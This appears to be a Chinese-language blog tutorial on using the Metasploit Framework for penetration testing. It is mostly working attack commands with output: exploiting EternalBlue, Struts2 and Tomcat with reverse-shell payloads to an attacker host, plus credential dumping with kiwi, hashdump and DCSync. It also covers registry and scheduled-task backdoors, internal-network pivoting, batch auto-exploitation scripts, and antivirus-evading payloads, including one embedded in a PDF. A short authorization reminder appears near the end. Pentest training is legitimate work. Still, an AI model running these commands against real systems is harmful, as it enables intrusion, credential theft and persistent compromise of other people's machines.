📘 什么是 Metasploit Framework?
Metasploit Framework (MSF) 是由 HD Moore 于 2003 年创建的开源渗透测试平台,现由 Rapid7 公司维护。它提供了完整的渗透测试工作流,从信息收集到后渗透控制的全流程支持。
🎯 核心优势
- 模块化架构:2000+ 个 exploit、800+ 个 payload、500+ 个辅助模块
- Meterpreter:强大的内存级 Payload,支持进程注入、无文件落地
- 数据库集成:PostgreSQL 存储渗透测试数据,便于团队协作
- 自动化支持:Resource 脚本、API 接口,支持批量自动化攻击
🔧 安装与配置
Kali Linux 安装(推荐)
Kali 自带 MSF,更新即可
# 更新 Metasploit
sudo apt update
sudo apt install metasploit-framework -y
# 启动 PostgreSQL 数据库
sudo systemctl start postgresql
sudo systemctl enable postgresql
# 初始化 MSF 数据库
sudo msfdb init
# 启动 Metasploit 控制台
msfconsole
Ubuntu/Debian 安装
通过官方脚本安装
# 下载并执行安装脚本
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
chmod 755 msfinstall
./msfinstall
# 配置数据库
msfdb init
msfconsole
🔍 阶段1:信息收集与扫描
端口扫描与服务识别
使用 db_nmap 集成 Nmap
msf6 > db_status # 检查数据库连接
msf6 > workspace -a test_project # 创建工作空间
msf6 > db_nmap -sS -sV -O 192.168.1.0/24 # 全端口扫描
msf6 > hosts # 查看发现的主机
msf6 > services # 查看发现的服务
SMB 服务扫描
msf6 > use auxiliary/scanner/smb/smb_version
msf6 auxiliary(scanner/smb/smb_version) > set RHOSTS 192.168.1.0/24
msf6 auxiliary(scanner/smb/smb_version) > run
# 扫描 SMB 共享
msf6 > use auxiliary/scanner/smb/smb_enumshares
msf6 auxiliary(scanner/smb/smb_enumshares) > set RHOSTS 192.168.1.100
msf6 auxiliary(scanner/smb/smb_enumshares) > run
SSH 用户枚举
msf6 > use auxiliary/scanner/ssh/ssh_enumusers
msf6 auxiliary(scanner/ssh/ssh_enumusers) > set RHOSTS 192.168.1.100
msf6 auxiliary(scanner/ssh/ssh_enumusers) > set USER_FILE /usr/share/wordlists/metasploit/unix_users.txt
msf6 auxiliary(scanner/ssh/ssh_enumusers) > run
💥 阶段2:漏洞利用
案例1:EternalBlue (MS17-010) 漏洞利用
EternalBlue 是针对 Windows SMB 服务的经典漏洞,影响 Windows 7/2008R2 等系统。
检测并利用 MS17-010
# 1. 检测漏洞
msf6 > use auxiliary/scanner/smb/smb_ms17_010
msf6 auxiliary(scanner/smb/smb_ms17_010) > set RHOSTS 192.168.1.100
msf6 auxiliary(scanner/smb/smb_ms17_010) > run
# 2. 利用漏洞
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 192.168.1.100
msf6 exploit(windows/smb/ms17_010_eternalblue) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > set LHOST 192.168.1.50
msf6 exploit(windows/smb/ms17_010_eternalblue) > set LPORT 4444
msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit
[*] Started reverse TCP handler on 192.168.1.50:4444
[*] Sending stage (200774 bytes) to 192.168.1.100
[*] Meterpreter session 1 opened
案例2:Apache Struts2 远程代码执行
msf6 > use exploit/multi/http/struts2_content_type_ognl
msf6 exploit(multi/http/struts2_content_type_ognl) > set RHOSTS 192.168.1.200
msf6 exploit(multi/http/struts2_content_type_ognl) > set TARGETURI /struts2-showcase/
msf6 exploit(multi/http/struts2_content_type_ognl) > set PAYLOAD linux/x64/meterpreter/reverse_tcp
msf6 exploit(multi/http/struts2_content_type_ognl) > set LHOST 192.168.1.50
msf6 exploit(multi/http/struts2_content_type_ognl) > exploit
案例3:Tomcat Manager 弱口令上传
# 1. 爆破 Tomcat Manager 凭证
msf6 > use auxiliary/scanner/http/tomcat_mgr_login
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set RHOSTS 192.168.1.150
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set USER_FILE users.txt
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set PASS_FILE passwords.txt
msf6 auxiliary(scanner/http/tomcat_mgr_login) > run
# 2. 上传恶意 WAR 包
msf6 > use exploit/multi/http/tomcat_mgr_upload
msf6 exploit(multi/http/tomcat_mgr_upload) > set RHOSTS 192.168.1.150
msf6 exploit(multi/http/tomcat_mgr_upload) > set HttpUsername admin
msf6 exploit(multi/http/tomcat_mgr_upload) > set HttpPassword admin
msf6 exploit(multi/http/tomcat_mgr_upload) > set PAYLOAD java/meterpreter/reverse_tcp
msf6 exploit(multi/http/tomcat_mgr_upload) > exploit
🎮 阶段3:Meterpreter 后渗透
💎 Meterpreter 核心特性
- 内存执行:完全运行在内存中,不写入磁盘,难以被检测
- 加密通信:使用 TLSv1.2 加密 C2 通信,避免流量特征
- 进程迁移:可迁移到稳定进程(如 explorer.exe)
- 扩展模块:支持加载 stdapi、priv、kiwi 等扩展
基础信息收集
meterpreter > sysinfo # 系统信息
Computer : WIN7-PC
OS : Windows 7 (6.1 Build 7601, Service Pack 1)
Architecture : x64
System Language : zh_CN
Meterpreter : x64/windows
meterpreter > getuid # 当前权限
Server username: WIN7-PC\Administrator
meterpreter > ps # 进程列表
meterpreter > ipconfig # 网络配置
meterpreter > route # 路由表
权限提升
自动提权到 SYSTEM
meterpreter > getsystem # 尝试自动提权
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
# 手动使用提权模块
meterpreter > background
msf6 exploit(windows/smb/ms17_010_eternalblue) > use exploit/windows/local/bypassuac_eventvwr
msf6 exploit(windows/local/bypassuac_eventvwr) > set SESSION 1
msf6 exploit(windows/local/bypassuac_eventvwr) > exploit
凭证窃取(Mimikatz/Kiwi)
# 加载 kiwi 扩展(Mimikatz)
meterpreter > load kiwi
Loading extension kiwi...
.#####. mimikatz 2.2.0 20191125 (x64/windows)
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( [email protected] )
## \ / ## > http://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( [email protected] )
'#####' > http://pingcastle.com / http://mysmartlogon.com ***/
# 导出明文密码
meterpreter > kiwi_cmd sekurlsa::logonpasswords
# 导出哈希
meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
# 黄金票据攻击
meterpreter > kiwi_cmd lsadump::dcsync /domain:corp.com /user:krbtgt
进程迁移
# 查找稳定进程
meterpreter > ps
PID PPID Name Arch Session User
--- ---- ---- ---- ------- ----
1584 628 explorer.exe x64 1 WIN7-PC\Administrator
2340 1584 cmd.exe x64 1 WIN7-PC\Administrator
# 迁移到 explorer.exe
meterpreter > migrate 1584
[*] Migrating from 2340 to 1584...
[*] Migration completed successfully.
文件操作
meterpreter > cd C:\\Users\\Administrator\\Desktop
meterpreter > ls
meterpreter > download passwords.txt /root/ # 下载文件
meterpreter > upload backdoor.exe C:\\Windows\\Temp\\ # 上传文件
meterpreter > cat flag.txt # 查看文件
meterpreter > search -f *.docx # 搜索文件
持久化后门
# 使用 persistence 模块
meterpreter > run persistence -X -i 60 -p 4444 -r 192.168.1.50
# 注册表启动项
meterpreter > reg setval -k HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run -v Backdoor -d "C:\\Windows\\Temp\\backdoor.exe"
# 计划任务
meterpreter > execute -f schtasks -a "/create /tn UpdateTask /tr C:\\Windows\\Temp\\backdoor.exe /sc onlogon /ru System"
🔀 内网渗透与代理转发
添加路由
# 查看目标网络
meterpreter > ipconfig
Interface 1: 192.168.1.100 (External)
Interface 2: 10.10.10.50 (Internal)
# 添加路由到内网
meterpreter > run autoroute -s 10.10.10.0/24
[*] Adding a route to 10.10.10.0/255.255.255.0...
[+] Route added successfully.
# 查看路由表
meterpreter > run autoroute -p
端口转发
# 本地端口转发
meterpreter > portfwd add -l 3389 -p 3389 -r 10.10.10.100
# 现在可以通过 localhost:3389 访问内网 10.10.10.100:3389
rdesktop localhost:3389
Socks 代理
# 启动 Socks4a 代理
meterpreter > background
msf6 > use auxiliary/server/socks_proxy
msf6 auxiliary(server/socks_proxy) > set SRVPORT 1080
msf6 auxiliary(server/socks_proxy) > set VERSION 4a
msf6 auxiliary(server/socks_proxy) > run
# 配置 proxychains
echo "socks4 127.0.0.1 1080" >> /etc/proxychains.conf
# 通过代理扫描内网
proxychains nmap -sT -Pn 10.10.10.0/24
🤖 自动化与批量利用
Resource 脚本自动化
auto_exploit.rc
workspace -a auto_attack
db_nmap -sS -sV 192.168.1.0/24
use exploit/windows/smb/ms17_010_eternalblue
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.50
set LPORT 4444
services -p 445 -u -R
exploit -z
use exploit/multi/http/struts2_content_type_ognl
services -p 80,8080 -u -R
exploit -z
# 执行脚本
msfconsole -r auto_exploit.rc
使用 AutoPwn2 批量利用
msf6 > use auxiliary/scanner/http/autopwn2
msf6 auxiliary(scanner/http/autopwn2) > set RHOSTS 192.168.1.0/24
msf6 auxiliary(scanner/http/autopwn2) > set LHOST 192.168.1.50
msf6 auxiliary(scanner/http/autopwn2) > run
🕵️ 免杀与对抗检测
生成免杀 Payload
# 使用 msfvenom 生成 Payload
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 \
-f exe -e x64/xor_dynamic -i 10 -o payload.exe
# 使用 Shikata Ga Nai 编码器
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 \
-f exe -e x86/shikata_ga_nai -i 20 -o encoded.exe
# 嵌入到正常 PDF 文件
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 \
-f exe -x normal.pdf -k -o infected.pdf
使用 Evasion 模块
msf6 > use evasion/windows/windows_defender_exe
msf6 evasion(windows/windows_defender_exe) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 evasion(windows/windows_defender_exe) > set LHOST 192.168.1.50
msf6 evasion(windows/windows_defender_exe) > set LPORT 4444
msf6 evasion(windows/windows_defender_exe) > run
[*] Compiled executable size: 73802
[+] infected.exe stored at /root/.msf4/local/infected.exe
💾 数据库管理与团队协作
# 查看数据库状态
msf6 > db_status
[*] Connected to msf. Connection type: postgresql.
# 工作空间管理
msf6 > workspace # 列出所有工作空间
msf6 > workspace -a client_pentest # 创建工作空间
msf6 > workspace client_pentest # 切换工作空间
msf6 > workspace -d old_project # 删除工作空间
# 查询数据
msf6 > hosts # 所有主机
msf6 > services # 所有服务
msf6 > vulns # 所有漏洞
msf6 > creds # 所有凭证
msf6 > loot # 所有战利品
# 导出报告
msf6 > db_export -f xml /root/pentest_report.xml
💡 实战技巧与最佳实践
🎯 高效使用技巧
- 使用
search命令查找模块:search type:exploit platform:windows smb - 使用
-z参数后台运行 exploit,方便批量攻击 - Session 后台管理:
sessions -i 1进入会话,background后台 - 使用
-j参数将 handler 作为 job 运行
⚠️ 安全注意事项
- 合法授权:仅在获得书面授权的环境中使用 Metasploit
- 数据保护:妥善保管获取的凭证和敏感数据
- 清理痕迹:渗透测试结束后清理日志和后门
- 流量加密:使用 HTTPS/reverse_tcp_ssl 避免明文传输
常用快捷命令
# 快速设置 Payload 参数
msf6 > setg LHOST 192.168.1.50 # 全局设置
msf6 > setg LPORT 4444
# 批量操作 Sessions
msf6 > sessions -K # 关闭所有会话
msf6 > sessions -u 1 # 将普通 shell 升级为 Meterpreter
msf6 > sessions -c "sysinfo" -i 1 # 在会话中执行命令
# 查看模块信息
msf6 > info exploit/windows/smb/ms17_010_eternalblue
msf6 > show options
msf6 > show payloads
msf6 > show targets
📚 总结
Metasploit Framework 是渗透测试人员的瑞士军刀,掌握它的使用是每个安全从业者的必备技能。从基础的端口扫描到复杂的内网渗透,MSF 提供了完整的工具链。
在实战中,结合 Burp Suite 进行 Web 测试、配合 Cobalt Strike 进行 APT 攻击模拟、整合 BloodHound 分析域环境,可以构建完整的红队攻击体系。
📖 学习资源
- 官方文档:Metasploit Documentation
- Exploit Database:Exploit-DB
- Offensive Security:Metasploit Unleashed 免费课程
- HackTheBox:大量靶机练习 Metasploit 使用
🖼️ 实战案例截图